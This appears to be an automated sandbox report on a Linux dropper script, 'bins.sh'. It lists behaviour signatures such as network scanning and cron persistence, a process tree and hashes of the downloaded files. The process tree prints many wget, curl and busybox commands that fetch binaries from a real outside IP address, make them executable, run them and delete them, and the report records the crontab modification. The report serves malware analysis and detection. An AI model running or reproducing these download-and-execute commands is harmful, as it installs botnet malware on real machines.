Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    12/11/2024, 12:17

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241112-pf13hsseqh
  • SHA256 e5f42adb5957dade3d83f8ea86b6fcc8f7a7dd121234f552d062eb48e7b18930
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1662) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 32 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:719
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:723
        • /usr/bin/wget
          wget http://216.126.231.240/bins/FbWJzi8E4UdCkP1veMxjesk65dRA7piasb
          2⤵
          • Writes file to tmp directory
          PID:725
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/FbWJzi8E4UdCkP1veMxjesk65dRA7piasb
          2⤵
          • Writes file to tmp directory
          PID:747
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/FbWJzi8E4UdCkP1veMxjesk65dRA7piasb
          2⤵
          • Writes file to tmp directory
          PID:749
        • /bin/chmod
          chmod 777 FbWJzi8E4UdCkP1veMxjesk65dRA7piasb
          2⤵
          • File and Directory Permissions Modification
          PID:750
        • /tmp/FbWJzi8E4UdCkP1veMxjesk65dRA7piasb
          ./FbWJzi8E4UdCkP1veMxjesk65dRA7piasb
          2⤵
          • Executes dropped EXE
          PID:751
        • /bin/rm
          rm FbWJzi8E4UdCkP1veMxjesk65dRA7piasb
          2⤵
            PID:753
          • /usr/bin/wget
            wget http://216.126.231.240/bins/NbAD8ebu7QQva4tEajxyJQD9vnnnCwsKjy
            2⤵
            • Writes file to tmp directory
            PID:754
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/NbAD8ebu7QQva4tEajxyJQD9vnnnCwsKjy
            2⤵
            • Writes file to tmp directory
            PID:755
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/NbAD8ebu7QQva4tEajxyJQD9vnnnCwsKjy
            2⤵
            • Writes file to tmp directory
            PID:759
          • /bin/chmod
            chmod 777 NbAD8ebu7QQva4tEajxyJQD9vnnnCwsKjy
            2⤵
            • File and Directory Permissions Modification
            PID:766
          • /tmp/NbAD8ebu7QQva4tEajxyJQD9vnnnCwsKjy
            ./NbAD8ebu7QQva4tEajxyJQD9vnnnCwsKjy
            2⤵
            • Executes dropped EXE
            PID:768
          • /bin/rm
            rm NbAD8ebu7QQva4tEajxyJQD9vnnnCwsKjy
            2⤵
              PID:770
            • /usr/bin/wget
              wget http://216.126.231.240/bins/jPBMeFEavrVIh4zoqYa4bVwZcBCD5NsCvn
              2⤵
              • Writes file to tmp directory
              PID:772
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/jPBMeFEavrVIh4zoqYa4bVwZcBCD5NsCvn
              2⤵
              • Writes file to tmp directory
              PID:786
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/jPBMeFEavrVIh4zoqYa4bVwZcBCD5NsCvn
              2⤵
              • Writes file to tmp directory
              PID:801
            • /bin/chmod
              chmod 777 jPBMeFEavrVIh4zoqYa4bVwZcBCD5NsCvn
              2⤵
              • File and Directory Permissions Modification
              PID:808
            • /tmp/jPBMeFEavrVIh4zoqYa4bVwZcBCD5NsCvn
              ./jPBMeFEavrVIh4zoqYa4bVwZcBCD5NsCvn
              2⤵
              • Executes dropped EXE
              PID:809
            • /bin/rm
              rm jPBMeFEavrVIh4zoqYa4bVwZcBCD5NsCvn
              2⤵
                PID:811
              • /usr/bin/wget
                wget http://216.126.231.240/bins/o9Ai1e0rIVuW19KxWAz3Np9AlpYcrmgeII
                2⤵
                • Writes file to tmp directory
                PID:812
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/o9Ai1e0rIVuW19KxWAz3Np9AlpYcrmgeII
                2⤵
                • Writes file to tmp directory
                PID:814
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/o9Ai1e0rIVuW19KxWAz3Np9AlpYcrmgeII
                2⤵
                • Writes file to tmp directory
                PID:815
              • /bin/chmod
                chmod 777 o9Ai1e0rIVuW19KxWAz3Np9AlpYcrmgeII
                2⤵
                • File and Directory Permissions Modification
                PID:816
              • /tmp/o9Ai1e0rIVuW19KxWAz3Np9AlpYcrmgeII
                ./o9Ai1e0rIVuW19KxWAz3Np9AlpYcrmgeII
                2⤵
                • Executes dropped EXE
                PID:817
              • /bin/rm
                rm o9Ai1e0rIVuW19KxWAz3Np9AlpYcrmgeII
                2⤵
                  PID:819
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/iRrFro2OBY7sWckMTfHGmjXB8qLhr0QLvl
                  2⤵
                  • Writes file to tmp directory
                  PID:820
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/iRrFro2OBY7sWckMTfHGmjXB8qLhr0QLvl
                  2⤵
                  • Writes file to tmp directory
                  PID:836
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/iRrFro2OBY7sWckMTfHGmjXB8qLhr0QLvl
                  2⤵
                  • Writes file to tmp directory
                  PID:850
                • /bin/chmod
                  chmod 777 iRrFro2OBY7sWckMTfHGmjXB8qLhr0QLvl
                  2⤵
                  • File and Directory Permissions Modification
                  PID:854
                • /tmp/iRrFro2OBY7sWckMTfHGmjXB8qLhr0QLvl
                  ./iRrFro2OBY7sWckMTfHGmjXB8qLhr0QLvl
                  2⤵
                  • Executes dropped EXE
                  PID:856
                • /bin/rm
                  rm iRrFro2OBY7sWckMTfHGmjXB8qLhr0QLvl
                  2⤵
                    PID:859
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/5g2kN2MThmgLGm4eg3itLECHPnFI6tR781
                    2⤵
                    • Writes file to tmp directory
                    PID:860
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/5g2kN2MThmgLGm4eg3itLECHPnFI6tR781
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:861
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/5g2kN2MThmgLGm4eg3itLECHPnFI6tR781
                    2⤵
                    • Writes file to tmp directory
                    PID:862
                  • /bin/chmod
                    chmod 777 5g2kN2MThmgLGm4eg3itLECHPnFI6tR781
                    2⤵
                    • File and Directory Permissions Modification
                    PID:863
                  • /tmp/5g2kN2MThmgLGm4eg3itLECHPnFI6tR781
                    ./5g2kN2MThmgLGm4eg3itLECHPnFI6tR781
                    2⤵
                    • Executes dropped EXE
                    PID:864
                  • /bin/rm
                    rm 5g2kN2MThmgLGm4eg3itLECHPnFI6tR781
                    2⤵
                      PID:866
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/jCTjkEH4oRJn2LMtEVvG1uRDAqF3qvP85y
                      2⤵
                      • Writes file to tmp directory
                      PID:867
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/jCTjkEH4oRJn2LMtEVvG1uRDAqF3qvP85y
                      2⤵
                      • Writes file to tmp directory
                      PID:868
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/jCTjkEH4oRJn2LMtEVvG1uRDAqF3qvP85y
                      2⤵
                      • Writes file to tmp directory
                      PID:869
                    • /bin/chmod
                      chmod 777 jCTjkEH4oRJn2LMtEVvG1uRDAqF3qvP85y
                      2⤵
                      • File and Directory Permissions Modification
                      PID:870
                    • /tmp/jCTjkEH4oRJn2LMtEVvG1uRDAqF3qvP85y
                      ./jCTjkEH4oRJn2LMtEVvG1uRDAqF3qvP85y
                      2⤵
                      • Executes dropped EXE
                      PID:871
                    • /bin/rm
                      rm jCTjkEH4oRJn2LMtEVvG1uRDAqF3qvP85y
                      2⤵
                        PID:873
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/MRqQ6qVYaMwOJHuMuFJEOIYyuswOO7xzqu
                        2⤵
                        • Writes file to tmp directory
                        PID:874
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/MRqQ6qVYaMwOJHuMuFJEOIYyuswOO7xzqu
                        2⤵
                        • Writes file to tmp directory
                        PID:875
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/MRqQ6qVYaMwOJHuMuFJEOIYyuswOO7xzqu
                        2⤵
                        • Writes file to tmp directory
                        PID:876
                      • /bin/chmod
                        chmod 777 MRqQ6qVYaMwOJHuMuFJEOIYyuswOO7xzqu
                        2⤵
                        • File and Directory Permissions Modification
                        PID:877
                      • /tmp/MRqQ6qVYaMwOJHuMuFJEOIYyuswOO7xzqu
                        ./MRqQ6qVYaMwOJHuMuFJEOIYyuswOO7xzqu
                        2⤵
                        • Executes dropped EXE
                        PID:878
                      • /bin/rm
                        rm MRqQ6qVYaMwOJHuMuFJEOIYyuswOO7xzqu
                        2⤵
                          PID:880
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/VHh0yq6v6S2pUeYmEId4UDABP9QWJ9TBk3
                          2⤵
                          • Writes file to tmp directory
                          PID:881
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/VHh0yq6v6S2pUeYmEId4UDABP9QWJ9TBk3
                          2⤵
                          • Writes file to tmp directory
                          PID:882
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/VHh0yq6v6S2pUeYmEId4UDABP9QWJ9TBk3
                          2⤵
                          • Writes file to tmp directory
                          PID:886
                        • /bin/chmod
                          chmod 777 VHh0yq6v6S2pUeYmEId4UDABP9QWJ9TBk3
                          2⤵
                          • File and Directory Permissions Modification
                          PID:887
                        • /tmp/VHh0yq6v6S2pUeYmEId4UDABP9QWJ9TBk3
                          ./VHh0yq6v6S2pUeYmEId4UDABP9QWJ9TBk3
                          2⤵
                          • Executes dropped EXE
                          PID:888
                        • /bin/rm
                          rm VHh0yq6v6S2pUeYmEId4UDABP9QWJ9TBk3
                          2⤵
                            PID:890
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/2JQ6k1Dc9R60GCEWCRpQvlYGPBgnilHLR2
                            2⤵
                            • Writes file to tmp directory
                            PID:891
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/2JQ6k1Dc9R60GCEWCRpQvlYGPBgnilHLR2
                            2⤵
                            • Writes file to tmp directory
                            PID:892
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/2JQ6k1Dc9R60GCEWCRpQvlYGPBgnilHLR2
                            2⤵
                            • Writes file to tmp directory
                            PID:893
                          • /bin/chmod
                            chmod 777 2JQ6k1Dc9R60GCEWCRpQvlYGPBgnilHLR2
                            2⤵
                            • File and Directory Permissions Modification
                            PID:894
                          • /tmp/2JQ6k1Dc9R60GCEWCRpQvlYGPBgnilHLR2
                            ./2JQ6k1Dc9R60GCEWCRpQvlYGPBgnilHLR2
                            2⤵
                            • Executes dropped EXE
                            • Renames itself
                            • Reads runtime system information
                            PID:895
                            • /bin/sh
                              sh -c "crontab -l"
                              3⤵
                                PID:897
                                • /usr/bin/crontab
                                  crontab -l
                                  4⤵
                                    PID:898
                                • /bin/sh
                                  sh -c "crontab -"
                                  3⤵
                                    PID:899
                                    • /usr/bin/crontab
                                      crontab -
                                      4⤵
                                      • Creates/modifies Cron job
                                      PID:900
                                • /bin/rm
                                  rm 2JQ6k1Dc9R60GCEWCRpQvlYGPBgnilHLR2
                                  2⤵
                                    PID:902
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/4Bw7eNP7bLc8mGL5vwBcwJSIM9vx9Gy97w
                                    2⤵
                                      PID:905
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/4Bw7eNP7bLc8mGL5vwBcwJSIM9vx9Gy97w
                                      2⤵
                                        PID:986
                                      • /bin/busybox
                                        /bin/busybox wget http://216.126.231.240/bins/4Bw7eNP7bLc8mGL5vwBcwJSIM9vx9Gy97w
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:987
                                      • /bin/chmod
                                        chmod 777 4Bw7eNP7bLc8mGL5vwBcwJSIM9vx9Gy97w
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:992
                                      • /tmp/4Bw7eNP7bLc8mGL5vwBcwJSIM9vx9Gy97w
                                        ./4Bw7eNP7bLc8mGL5vwBcwJSIM9vx9Gy97w
                                        2⤵
                                        • Executes dropped EXE
                                        PID:993
                                      • /bin/rm
                                        rm 4Bw7eNP7bLc8mGL5vwBcwJSIM9vx9Gy97w
                                        2⤵
                                          PID:995
                                        • /usr/bin/wget
                                          wget http://216.126.231.240/bins/6GvXuYXWUCDfskP2tZiavZo8oyvUceuwXE
                                          2⤵
                                            PID:996
                                          • /usr/bin/curl
                                            curl -O http://216.126.231.240/bins/6GvXuYXWUCDfskP2tZiavZo8oyvUceuwXE
                                            2⤵
                                              PID:997
                                            • /bin/busybox
                                              /bin/busybox wget http://216.126.231.240/bins/6GvXuYXWUCDfskP2tZiavZo8oyvUceuwXE
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:998
                                            • /bin/chmod
                                              chmod 777 6GvXuYXWUCDfskP2tZiavZo8oyvUceuwXE
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:999
                                            • /tmp/6GvXuYXWUCDfskP2tZiavZo8oyvUceuwXE
                                              ./6GvXuYXWUCDfskP2tZiavZo8oyvUceuwXE
                                              2⤵
                                              • Executes dropped EXE
                                              PID:1000
                                            • /bin/rm
                                              rm 6GvXuYXWUCDfskP2tZiavZo8oyvUceuwXE
                                              2⤵
                                                PID:1002
                                              • /usr/bin/wget
                                                wget http://216.126.231.240/bins/FIVrr6pWLxdv51sJZfzpgRrcITSXx6cDxr
                                                2⤵
                                                  PID:1003

                                              Network

                                                    MITRE ATT&CK Enterprise v15

                                                    Replay Monitor

                                                    Loading Replay Monitor...

                                                    Downloads

                                                    2JQ6k1Dc9R60GCEWCRpQvlYGPBgnilHLR2

                                                    • Path /tmp/2JQ6k1Dc9R60GCEWCRpQvlYGPBgnilHLR2
                                                    • Size 151KB
                                                    • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    4Bw7eNP7bLc8mGL5vwBcwJSIM9vx9Gy97w

                                                    • Path /tmp/4Bw7eNP7bLc8mGL5vwBcwJSIM9vx9Gy97w
                                                    • Size 111KB
                                                    • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    5g2kN2MThmgLGm4eg3itLECHPnFI6tR781

                                                    • Path /tmp/5g2kN2MThmgLGm4eg3itLECHPnFI6tR781
                                                    • Size 117KB
                                                    • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    6GvXuYXWUCDfskP2tZiavZo8oyvUceuwXE

                                                    • Path /tmp/6GvXuYXWUCDfskP2tZiavZo8oyvUceuwXE
                                                    • Size 122KB
                                                    • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    FbWJzi8E4UdCkP1veMxjesk65dRA7piasb

                                                    • Path /tmp/FbWJzi8E4UdCkP1veMxjesk65dRA7piasb
                                                    • Size 119KB
                                                    • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    MRqQ6qVYaMwOJHuMuFJEOIYyuswOO7xzqu

                                                    • Path /tmp/MRqQ6qVYaMwOJHuMuFJEOIYyuswOO7xzqu
                                                    • Size 98KB
                                                    • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    NbAD8ebu7QQva4tEajxyJQD9vnnnCwsKjy

                                                    • Path /tmp/NbAD8ebu7QQva4tEajxyJQD9vnnnCwsKjy
                                                    • Size 127KB
                                                    • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    VHh0yq6v6S2pUeYmEId4UDABP9QWJ9TBk3

                                                    • Path /tmp/VHh0yq6v6S2pUeYmEId4UDABP9QWJ9TBk3
                                                    • Size 177KB
                                                    • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    iRrFro2OBY7sWckMTfHGmjXB8qLhr0QLvl

                                                    • Path /tmp/iRrFro2OBY7sWckMTfHGmjXB8qLhr0QLvl
                                                    • Size 107KB
                                                    • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    jCTjkEH4oRJn2LMtEVvG1uRDAqF3qvP85y

                                                    • Path /tmp/jCTjkEH4oRJn2LMtEVvG1uRDAqF3qvP85y
                                                    • Size 151KB
                                                    • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    jPBMeFEavrVIh4zoqYa4bVwZcBCD5NsCvn

                                                    • Path /tmp/jPBMeFEavrVIh4zoqYa4bVwZcBCD5NsCvn
                                                    • Size 111KB
                                                    • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    o9Ai1e0rIVuW19KxWAz3Np9AlpYcrmgeII

                                                    • Path /tmp/o9Ai1e0rIVuW19KxWAz3Np9AlpYcrmgeII
                                                    • Size 99KB
                                                    • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    tmp.zpj9ut

                                                    • Path /var/spool/cron/crontabs/tmp.zpj9ut
                                                    • Size 210B
                                                    • SHA256 6dad5fe7f4c251f06bd813e0eada9b78e7b50eae4614d20432e59f56ca47eac7
                                                    • MD5 SHA1 SHA512